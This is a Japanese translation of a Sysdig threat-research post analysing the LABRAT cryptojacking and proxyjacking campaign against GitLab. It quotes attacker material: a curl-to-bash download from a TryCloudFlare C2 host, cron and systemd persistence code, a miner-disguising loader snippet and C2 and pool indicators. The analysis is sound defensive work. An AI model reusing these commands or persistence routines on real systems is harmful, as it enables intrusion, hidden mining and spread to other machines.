LABRAT: GitLabを標的としたステルスなクリプトジャッキングとプロキシジャッキング キャンペーン

By 清水 孝郎 - AUGUST 21, 2023

SHARE:

本文の内容は、2023年8月17日にMIGUEL HERNÁNDEZ が投稿したブログ(https://sysdig.jp/blog/labrat-cryptojacking-proxyjacking-campaign)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチーム(TRT)は最近、「LABRAT」と名付けられた、金銭的な動機に基づく新たな活動を発見しました。この作戦は、攻撃者が攻撃においてステルス性と防御回避に重点を置いているため、他の作戦とは一線を画しています。攻撃者がマルウェアとしてスクリプトを利用するのはよくあることです。しかし、この攻撃者は、Goと.NETで記述された検出されないコンパイル済みバイナリを使用することを選択しました。

この攻撃者は、検出されないシグネチャベースのツール、洗練されたステルス性の高いクロスプラットフォームのマルウェア、ファイアウォールをバイパスするコマンド&コントロール(C2)ツール、およびカーネルベースのルートキットを利用して、その存在を隠蔽しました。収入を得るために、攻撃者はクリプトマイニングとロシア系のプロキシジャッキングスクリプトの両方をデプロイしました。さらに、攻撃者は正規のサービスである TryCloudFlare を悪用して C2 ネットワークを難読化しました。

この攻撃のように、複数の防御回避レイヤーを使用する攻撃を検出することは困難であり、深いレベルの実行時における可視性が必要です。この攻撃者は現在も活動を続けており、継続的にツールを更新しているため、防御者は主要な戦術、技術、手順(TTP)の検出に集中し、侵害指標(IoC)リストを更新し続ける必要があります。

この攻撃者の明らかな目標の1つは、プロキシジャッキングとクリプトマイニングを使用して収入を得ることでした。プロキシジャッキングにより、攻撃者は侵害されたシステムをプロキシネットワークに「貸し出す」ことができ、基本的に侵害されたIPアドレスを販売することができます。帯域幅という明確なコストが発生しますが、侵害されたシステムが攻撃やその他の不正な活動に使用された場合、評判という潜在的なコストも発生します。また、クリプトマイニングを迅速に停止しなければ、多大な金銭的損害を被る可能性もあります。マルウェアは侵害されたシステムへのバックドア・アクセスも提供していたため、LABRATの目的は収入だけではなかったかもしれません。このようなアクセスは、データの盗難、漏えい、ランサムウェアなどの他の攻撃につながる可能性があります。

技術的分析

GitLabの悪用

攻撃者は、既知のGitLabの脆弱性(CVE-2021-22205)を悪用してコンテナへの初期アクセスを獲得しました。この脆弱性では、GitLabがファイルパーサーに渡されたイメージファイルを適切に検証しないため、リモートでコマンドを実行されてしまいます。この脆弱性には多くの悪用方法が公開されており、現在も活発に悪用されています。

攻撃者はサーバーにアクセスすると、C2サーバーから悪意のあるスクリプトをダウンロードするために、以下のコマンドを実行します。

curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash

この初期スクリプトにより、攻撃者は以下のアクションを通じて、永続性を達成し、防御を回避し、横方向に移動することができました:

  •  watchdog プロセスがすでに実行されているかどうかを確認し、終了させます。
  • 以前の実行時に悪意のあるファイルが存在する場合は、それを削除します。
  • Tencent CloudとAlibabaの防御手段を無効にします。
  • 悪意のあるバイナリをダウンロードします。
  • これらのバイナリの1つを使用して新しいサービスを作成し、rootの場合は、オンザフライでそれを実行しました。
  • 永続性を維持するために様々なcronファイルを変更します。
  • これらのマシンに接続するためのSSHキーを収集し、再びプロセスを開始し、横の動きを行います。
  • 上記のプロセスが生成した可能性のある証拠をすべて削除します。

TryCloudFlare … 悪意のあるホスティングを隠すため

攻撃者は、trycloudflare[.]comにサブドメインを作成することで、C2ロケーションを難読化しようと試みました。このドメインはCloudflareが所有し運営しているため正当なものですが、フィッシングに使用されたサブドメインの作成にも使用されています。

TryCloudFlareは簡単に利用できるサービスであるため、防御側にはメリットがありますが、攻撃側にはチャンスでもあります。新しいドメインを作成するには、cloudflaredをダウンロードしてインストールし、次のコマンドを実行するだけで完了です:

/cloudflared tunnel -url "$HOST":"$PORT"

LABRATの操作中、TryCloudFlareは、悪意のあるシェル スクリプトをホストするパスワードで保護されたWebサーバーへの接続をリダイレクトするために使用されました。正規の TryCloudFlare インフラストラクチャーを使用すると、特に通常の操作でも使用されている場合、防御側がサブドメインを悪意のあるものとして識別することが困難になります。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


また、これまで報告されていなかったインストール スクリプトの異なるバージョンも発見されました。攻撃者は、スクリプトごとに新しい TryCloudFlare サブドメインを生成していたため、侵害の指標を変更し続けるために、キャンペーンごとに新しいドメインを使用していたと考えられます。

これらの初期スクリプトは、ファイル ドロッパーとして動作し、被害者のネットワーク上で永続性を得ようとします。また、侵害されたシステムで SSH 認証情報が発見された場合、追加のシステムにピボットします。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


私たちが発見した作戦のもう1つの重要な要素は、攻撃者が悪意のある活動に関連するバイナリをダウンロードするために、非公開のGitLabリポジトリに直接リンクしていたことです。このリポジトリは2022年9月からアクティブになっており、最新のコミットの中には、このブログを書いている時点でわずか数週間しか経っていないものもあります。自分の GitLab サーバーを作るのはとても簡単です。説明に従って、コンテナを使って自分のKubernetesインフラストラクチャー上で動かすことができます。これらは通常リストに載っていないため、攻撃者はより管理しやすい方法でツールを保管することができます。

このアクターの行動から、このリポジトリが攻撃者によって所有されているとは考えられません。攻撃者はオープンサーバーを使ってここにコードをアップロードしたのかもしれません。単純な Shodan クエリーと同様、何千もの GitLab サーバーを見つけることができます。

リポジトリ内の更新されたバイナリの中には非常に新しいものもあり、VirusTotalでは検出されていません。攻撃者はこのツールセットを常に更新し、検出を難しくすると同時に、新しいツールを追加してお金を稼いでいるのです。

同じ行為者からのさらなる証拠

同じ攻撃者からの別の攻撃を検出しましたが、ソースは異なっていました。攻撃者はTryCloudFlareを使用せず、代わりにSolrサーバーを使用しました。このIPはVirusTotalで無害とリストされており、合法と思われるWebページを指しています。このIPが侵害され、攻撃者に使用されていた可能性があります。中国のフォーラム[1,2]で、LABRATの操作に適合するクリプトジャッキング事件に遭遇したことを報告する投稿が見つかりました。これらの攻撃は、前の攻撃で見られたのと同じGitLabのプライベートリポジトリを使用していました。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


このケースでは、攻撃者はプライベートリポジトリからpwnkit(CVE-2021-4034)のバイナリをダウンロードし、404として応答する別のファイルに加え、特権昇格させました。

バックドア用GSocket

攻撃者は常に被害者へのリモートアクセスを維持したいと考えています。通常、これはバックドアを提供するマルウェアをインストールすることによって行われます。LABRATの場合、彼らはGlobal Socket(GSocket)と呼ばれるオープンソースツールを使用しています。Netcatと同様、GSocketにも合法的な用途がありますが、もちろん攻撃者に利用されることもあります。Netcatとは異なり、GSocketはカスタムリレーまたはプロキシネットワーク、暗号化、TORを使用する機能などの特徴を提供し、ステルスC2通信のための非常に有能なツールとなっています。LABRATの攻撃者は、GSocketをインストールした証拠を消すために、そのプロセスを隠そうとしました。

GSocket の仕組み

GSocketのホームページより、”Global Socketは、異なるプライベートネットワーク上の2つのワークステーションが互いに通信することを可能にします。”

プログラムを解析し、IPレイヤーを独自のGSocketレイヤーに置き換えることで実現します。.gsocketで終わるホスト名へのクライアント接続は、グローバル・ソケット・リレー・ネットワーク(GSRN)を経由して、このプログラムに自動的にリダイレクトされます。接続されると、ライブラリは安全なエンドツーエンドのTLS接続をネゴシエートします。GSRNは暗号化されたトラフィックだけを見ます。

以下のイメージでは、被害者の環境で悪意のあるスクリプトをroot権限なしで実行し、サーバーがランダムに生成されたパスワードを持つクライアントを待って実行されています。攻撃者は、インバウンドのファイアウォールルールをバイパスしてシステムに接続することができます。デフォルトでは、これは持続せず、再起動すると攻撃者はアクセスを失います。永続性を得るためには、攻撃者は昇格した権限を必要とします。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab
LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


永続性を実現するためにroot権限が必要であることに基づき、攻撃者はGitLabのプライベートリポジトリに保存されていたmと呼ばれるローカル権限昇格(LPE)エクスプロイトを実行しました。mバイナリはpwnkitの脆弱性(CVE-2021-4034)を利用してroot権限へのアクセスを試みました。

攻撃者は現在、昇格した特権を得るために必要なツールを持ち、永続性を維持することができます。GSocketがサーバーとして実行されている場合、.bashrcや.profileのような永続性を与えるファイルに自動的に自分自身を追加します。

GSocketのインストール

被害者にGSocketサーバーをインストールするために、攻撃者はプロセス全体を難読化しました。すべては1つのスクリプトから実行され、以下の手順で説明します:

  • プライベートリポジトリから2つのtarファイルをダウンロードします。
  • 両方のファイルを解凍し、連結して新しいスクリプトを生成します。
  • このファイルは自己解凍して、別のスクリプトと複数のバイナリを生成します。
  • この最後のスクリプトを実行すると、アーキテクチャーに基づいた正しいバイナリを使用してサーバーがデプロイされます。このスクリプトは、元のGSocketスクリプトと非常によく似ていますが、一部のコマンド出力が削除され、バックドアとして名前が変更されています。

各ステップにおいて、スクリプトは生成した証拠をすべて消去しました。私たちは、ファイルを残すようにスクリプトを編集し、すべてのバイナリと deploy.sh スクリプトを確認しました。このスクリプトは、GSocketがバックドアとしてリネームされ、GSocketをサーバーとして実行するために隠された出力の一部を送信する、公式スクリプトの修正バージョンでした。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


ProxyLiteとIPRoyalによるプロキシジャッキング

プライベートリポジトリの調査中に、 rcu_trというバイナリが見つかりました。基本的な分析によると、このバイナリは既知のプロキシウェアサービスであるIPRoyalに関連付けられています。このバイナリを実行すると、あなたのIPアドレスを使用するためにお金を払う他の人とインターネット帯域幅を共有することになります。Sysdig TRTは、「Proxyjacking has entered the chat(プロキシジャッキングがチャットに登場)」で、このソフトウェアが被害者に使用され、悪意のあるアクターが収入を得ていることを報告しました。

リポジトリには、3つのDLLファイルを格納したtarファイルも含まれていました:

  • ProxyService.Core.dll
  • ProxyService.Core.deps.json
  • ProxyService.Core.runtimeconfig.json


初期分析の結果、これらのファイルはProxyLite[.]ruというロシアのプロキシウェアサービスに関連していることがわかりました。このサービスはロシア人が所有し、運営しています。特に興味深いのは、このDLLが.NET Coreを使用し、高度に難読化されており、複数のプラットフォームで動作することです。この記事を書いている時点では、このDLLはVirusTotalによってまったく検出されていません。正規のソフトウェアがこのレベルの難読化を使用することは、一般的ではありません。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


ProxyService.Core.dllを分析したところ、以下の画像のような難読化された関数が見つかりました。画像の行の1つ1つがコードパスで、その数は非常に多くなっています。また、通常見られるような階層的ではなく、非常にフラットです。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


DLLを難読化するために使用されるテクニックは、Control Flow Flattening(CFF)と呼ばれるもので、すべての条件ブロックをswitch caseと呼ばれるフラットなものに置き換えることで、関数の制御フローを隠すために使用されます。以下のフローチャートは、左が通常のコードパス、右がフラット化されたコードパスを示しています。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


この手法は、時間のかかる作業であるため、リバースエンジニアリングを思いとどまらせるためのものです。私たちは難読化された制御フローを手作業でたどり、実行中のプラットフォームがツールによってサポートされているかどうかを確認するためのチェックが実行されていることに気づきました。以下はそのチェックの簡略版です。

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal unsafe static void CallAdapter()
    {
        int num = 684;
        for (;;)
        {
            int num2 = num;
            for (;;)
            {
                case 684:
                    if(ClientComposerManager.m_Initialized)
                    {
                        num = 683;
                        continue;
                    }
                    ClientComposerManager.m_Identifier = true;
                    num2 = 12;
                    if (ClientComposerManager.Null() == null) // Always True next branch is 192
                    {
                        num2 = 192;
                        continue;
                    }
                    continue;
                case 192:
                    try
                    {
                        RSACryptoServiceProvider.UseMachineKeyStore = true;
                    }
                    catch
                    {
                    }
                    num2 = 480;
                    continue;
                case 480:
                    ClientComposerManager.OSWin = RuntimeInformation.IsOSPlatform(OSPlatform.Windows); 
                    num2 = 645;
                    continue;
                case 645:
                    ClientComposerManager.OSNix = RuntimeInformation.IsOSPlatform(OSPlatform.Linux); 
                    num2 = 60;
                    continue;
                case 60:
                    ClientComposerManager.OSOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX); 
                    num2 = 543;
                    if (ClientComposerManager.Null() != null) // Always false branch
                    {
                        num2 = 511;
                        continue;
                    }
                    continue;
                default:
            }
        }
    }
 }Code language: PHP (php)


上述のコードには、Windows、OSX、Linuxについて具体的な記述があります。このことから、サポートされているプラットフォームの幅広さについて、有益な洞察が得られました。もう1つの洞察は、言及されたすべてのプラットフォームで.NETによって一般的に使用される異なるDLL名の存在から得られました。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab
LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


この悪意のあるDLLは.NET Coreでビルドされているため、Linux、Windows、MacOSで動作します。この移植性と難読化が相まって、攻撃者にとって非常に効果的なツールとなっています。しかし、被害者のシステムが.NETコア・ライブラリを持っている必要があるため、その使用には制限があります。

それとは別に、このバイナリは2つの一般的な方法を使用することで自身の安全性を確保しています:

  • アンチデバッグチェック
  • 改ざん防止チェック


1つ目は、C#のDebugger.IsAttachedメソッドを使用して実装されています。このチェックは、プログラムがWindDBやgdbのようなデバッガを接続した状態で起動されているかどうかを検出するための一般的な方法です。もう1つは、自身のアセンブリに対するSHA1ハッシュチェックという形で、フラット化された関数内にハードコードされています。これは、自身のアセンブリが変更されたかどうかを検出する場合に特に役立ちます。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab
LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


暗号化された暗号マテリアルは、バイナリ自体の内部に埋め込まれたリソースとしても存在していました。以下に示すように、Client.ItemにはXMLファイルの形式でシリアライズされたRSA鍵が含まれていました。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


これが復号化されたRSAキーです:

<RSAKeyValue><Modulus>zlUkMywGKDNbeJxH/zDotBK2KGsq3+fCyOXuaEHc38tL8CEymadHC4IvnPJ4ZHsuEIho1JVEVlJXYmPAkmiAboHJvV8Wnei2yfvn6tWX/Cnz7brgK+XlQVtVXlGUfU/ygy3kahGh10KW3yBgqs8Nuz7UlYBB7QLjBzyjFFy4chM=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
Code language: HTML, XML (xml)

このようなリソースの復号は、AES CBC 256によって行われます。キーと IV は共にランダム化され、このような復号化ルーチンは通常、先に説明した技法である CFF によって難読化されます。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


スクリーンショットからわかるように、32バイトの配列(AES-256キー)が宣言され、手動で入力されています。この配列には、リソースの一つをデコードするために使われるAES対称鍵が含まれています。コードをたどりにくくするために、難読化装置はいくつかのジャンクコードを追加し、前の操作を無効にしました。

num5 = 221 - 73;
array2[2] = (byte)num5; // invalidated
array2[2] = 68 + 121; // invalidated
array2[3] = 236 - 78; // invalidated
array2[3] = 151 - 50; // actual valueCode language: JavaScript (javascript)


同じ操作を後でもう一度行い、最終的な復号化に使用する初期化ベクターを作成します。

このような文字列の復号化は実行時に動的に実行されるため、バイナリ自体には文字列は存在しません。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


上記の関数は、実行時に文字列の復号化を行います。すべての文字列を含む配列にDLL自体のコードが入力されることはないため、このような関数の静的解析は不可能ですが、それでも以下のスクリーンショットに示すように、JITコンパイルされたメソッドを手動でフックすることで、すべての文字列を取得することは可能です。

LABRAT - Stealthy cryptojacking and proxyjacking campaign targeting GitLab


クリプトジャッキングは常に存在します…

私たちは、複数のカスタマイズされたxmrigバイナリを使用したクリプトジャッキングを観測しました。これは、私たちが目にする典型的なクリプトジャッキング攻撃とは異なり、すべての設定情報が追加ファイルに含まれたりコマンドラインで渡されたりするのではなく、バイナリにハードコードされていました。 発見された時点では、これらのマイニング・バイナリはVirusTotalに提出されていませんでした。

含まれるxmrigバイナリの内部を見ると、攻撃者が接続したマイニングプールが見つかりました:

  • 192[.]227.165.88:6666
  • 192[.]227.165.88:4443
  • 172[.]245.226.47:5858


これらのプールは、VirusTotalによって悪意のあるものとして検出されず、既知のマイニングプールとも関連していませんでした。さらに、これらはxmrigバイナリであるrcu_bjという名前を持つ他のバイナリに関連していました。私たちは、これらのバイナリが使用され、いくつかのフォーラムで共有されていた以前のキャンペーンを発見しましたが、どのアクターにも起因していませんでした。

リポジトリ履歴を見ると、他のキャンペーンで使用されたと思われる他の格納されたマイナーが見つかりました。私たちはこのプロセスを繰り返し、VirusTotalによって悪意のあるものとして報告された別のプールを発見しました。

  • 23[.]94.204.157:44445
  • 23[.]94.204.157:7773


このIPアドレスは、1年前の同様の動作をするマルウェアに関連していましたが、やはり帰属は不明でした。

最近の変更で、これらのマイナーは、システム上の正当なプロセスのように見えるようにsshdに名前を変更しました。

永続性を求めて

調査中、攻撃者は侵害されたシステム上で複数のバイナリを使用していることがわかりました。1つは前述のcryptominerで、もう1つのバイナリは一見無害に見え、この記事を書いている時点ではVirusTotalで検出されていません。当初はinitdと呼ばれていましたが、sysinitに改名されました。

最初のファイルドロッパースクリプトの内部で、攻撃者はs.serviceという新しいsystemdサービスを作成し、起動時にこのバイナリを実行します。また、systemdの実行だけでは被害者システム上でマルウェアを実行し続けるのに十分でない場合に備えて、さまざまなcronファイルにエントリを追加しました。

systemdサービス:

    cat >/tmp/s.service <<EOL
    [Unit]
    Description=Servicus-d

    [Service]
    ExecStartPre=/bin/sleep 10
    ExecStart=$HOME_1/sysinit

    Restart=always
    Nice=10
    CPUWeight=1

    [Install]
    WantedBy=multi-user.target
    EOLCode language: JavaScript (javascript)


cronファイルにバイナリを追加:

    ​​makecron(){
        list=["/etc/cron.d/root" "/etc/cron.d/apache" "/etc/cron.d/nginx" "/var/spool/cron/root" "/etc/cron.hourly/oanacroner"]
        echo -e "*/3 * * * * $HOME_1/sysinit" | crontab -
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/apache
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/nginx
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/crontabs/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.hourly/oanacroner

        for arch in ${list[@]}; do
            chmod +x arch
            chattr +ia arch
        done
    }Code language: PHP (php)


このバイナリはGoLangで書かれ、いくつかの理由で使われたようです。このバイナリが単独で起動された場合、システム上の多くのプロセスをチェックし、それらを強制終了しました。このバイナリが終了させようとしたプロセスは、他のマイナーや古いバージョンに関連するものでした。攻撃者は、システム上で実行されているマルウェアが自分たちのものだけであることを確認し、最大限の利益を得ようとしたのです。他のマイナーをKillするプログラムの出力例を以下に示します。

2023/07/03 09:23:07 Process gitlabw is not running.
2023/07/03 09:23:07 Process kthreaddi is not running.
2023/07/03 09:23:07 Process stratum is not running.

リバースエンジニアリングにより、このバイナリはメインローダーでもあることが判明しました。このバイナリを実行すると、sshdを装ったマイナーが起動します。このプログラムは以下のコードでマイナーを起動します。

…
SshDevNull        = "/sshd >/dev/null 2>&1 &"
ExecAWatchdodg    = "exec -a '[watchdodg]' "cmd := exec.Command("bash", "-c", "nohup "+ExecAWatchdodg+SshDevNull)
…Code language: JavaScript (javascript)


プライベート GitLab アップデート

この記事を書いている間、プライベートリポジトリはこれまでと同じ手順で稼働を続けています。2回、2つのファイルがアップロードされました。goバイナリが更新され、プールと設定がすでに追加されたマイナーを含む新しいバイナリが追加されました。

新しいマイニングプールが見つかりました:

  • 107[.]173.154.7:6969
  • desertplanets[.]com:6666
  • 172[.]245.226.47:5858


カーネルルートキットによるかくれんぼ

このアクターが以前に行った攻撃を調査したところ、マイニングプロセスを隠すためにカーネルベースのルートキット(具体的にはhiding-cryptominers-linux-rootkit)を使用していた形跡がありました。この種のルートキットは、攻撃者がシステム上で発生するすべてのことを完全に制御できるため、防御側が悪意のある活動を検知することはほとんど不可能です。多くの場合、その存在はオフラインフォレンジックによってのみ検出されます。

ランタイムの検出は可能ですが、ルートキットのインストール時に Falco などのランタイム監視ツールが有効になっている場合に限られます。 また、ルートキットのカーネル部分とユーザランドの間の通信を検出する機会もあります。この場合、kill システムコールとカスタムシグナル値を使用して、ルートキットの動作を制御します。検出ツールはこれらの値を観察し、警告を発することができます。

この悪意のあるLinux LKM(Loadable Kernel Module)は、”ps “などのプロセス一覧ツールからxmrigマイナー・プロセスを隠すために、複数のシステムコールとカーネル関数をフックします。また、マイナーに関連するCPU使用量も隠すため、管理者はCPUが大量に使用されていることを知ることができません。このツールの完全な説明は、Hiding miners on Linux for profitの記事で詳しく説明されています。

まとめ

今回の作戦は、Sysdig TRTが通常観察している多くの攻撃よりもはるかに巧妙なものでした。多くの攻撃者はステルス性を全く気にしませんが、この攻撃者は作戦を練る際に特別な注意を払っていました。この作戦で使用されたステルス的で回避的な技術とツールは、防御と検出をより困難なものにしています。LABRATの目的は金銭的なものであるため、「時は金なり」です。侵害が発見されないまま時間が経てば経つほど、攻撃者はより多くの金銭を手にし、被害者はより多くの損害を被ることになります。攻撃を迅速に検知し、対応するためには、強固な脅威検知・対応プログラムが必要です。

クライポマイニングやプロキシジャッキングは、決して厄介なマルウェアと見なし、徹底的な調査なしにシステムを再構築することで片付けてはなりません。今回の作戦で見られたように、マルウェアにはSSHキーを使って他のシステムに自動的に拡散する能力があります。また、攻撃者がクリプトマイナーをインストールするだけでなく、機会があれば知的財産を盗むことも、過去にSCARLETEELで確認されています。

IoCs

filenamesha256
apiff4b30f45ec635f28801a24a175bbf7479fbcbf01131c7ff086ccd6cb64f2e8c
booster4fd39d545d877720a86a1858d5af6ac50a432c13b83abc01ca1a59f96f6c67c0
db0654789ea795e18c762ddde2de3215092065c7d26fde122e04cbcdf399a43b02
d.sh6fad185a92c7a718e80e6f0c4d5fa4155e21545cfe2edf03e70f21604deb89ba
deploy.shc236b6337572217eb83dc628579bcd4cd5dfb13c35cca54757f34fb9abf3edd6
v2bee54e68d49cef7723dee09f39174245c015dd2dcf62ee8ffee6f4a156813d46
v37162a27a795d3ae13d0b8a6df0d7aa75fbefa74f8cb086ee46fdab0368d8ea07
v4846ef36e262ce34203ca82ec84b95ae7bd316d162ee184845fda7b957e22b640
bs.zip00df3dc4fe3a1c12acf3180d097ca88e0219331ae5cb6989fa4c3262597a2aba
s.zipeb6a93b1a7a05b0f644426a57a54446728868bde9a531e31cfb8849a4b3c4824
s2.zip34dd0357f281c0a402afa8df60452f4ff4dcb68d2de162f39514ab3ece0f18f8
s3.zipd475ed387f2960611833348ba740d44b707a913bcd088f9731337a909a854c4c
f_ab.tar.gz96db518610ef5c4b08d454a0f931db619fa09d193ac05b10d5600d4652af6ee3
f_aa.tar.gz519ca08cc6b08b027441cd95dcb7ee5be6f9328a24687ab770a65e9246e8d4e9
f_aa06ebe58e033b9228124a0575fddd6d2fde03afceef9ae030c92cb6640e3baebf
f_ab75c775c26345ddaeda2a29775263433f92e62491fdc888d8deb320970da8cd77
m10512112e62cd1cffee4e167651897970d7fef2c004fd784addcbcd23376ea22
initd9f8eefd3199485b374728c8d51e700cc466f1a34b09f33a83b06775ebfb2f34a
netcoreapp-latest.tar8c7891a70dba1067308c75708ada89957324927b6c9860cad9291220869efcc1
kmsfc366b6b33f71cc3d5ba64551fc6c825b611045499dc8b41d2f2c70368301967
puga234f2f1ed4a13ea98074aec5de9e760c77845e8011746e51b7397b9eac3ae808
xorg5edf76c338cba244ba54ea3380b39531b1fdda13dfe447b17d40f24affb9d2f5
Ip/domain
https://separate-discussing-refrigerator-field[.]trycloudflare.comFile Server
https://passage-television-gardening-venue[.]trycloudflare.comFile Server
https://coffee-abandoned-predicted-skype[.]trycloudflare.comFile Server
https://karma-adopt-income-jeffrey[.]trycloudflare.comFile Server
1[.]234.16.54:7070Gitlab
123[.]30.179.206:8189Solr admin
192[.]227.165.88:6666Pool
172[.]245.226.47:5858Pool
23[.]94.204.157:44445 && 23[.]94.204.157:7773Pool
107[.]173.154.7:6969Pool
desertplanets[.]com:6666Pool
172[.]245.226.47:5858Pool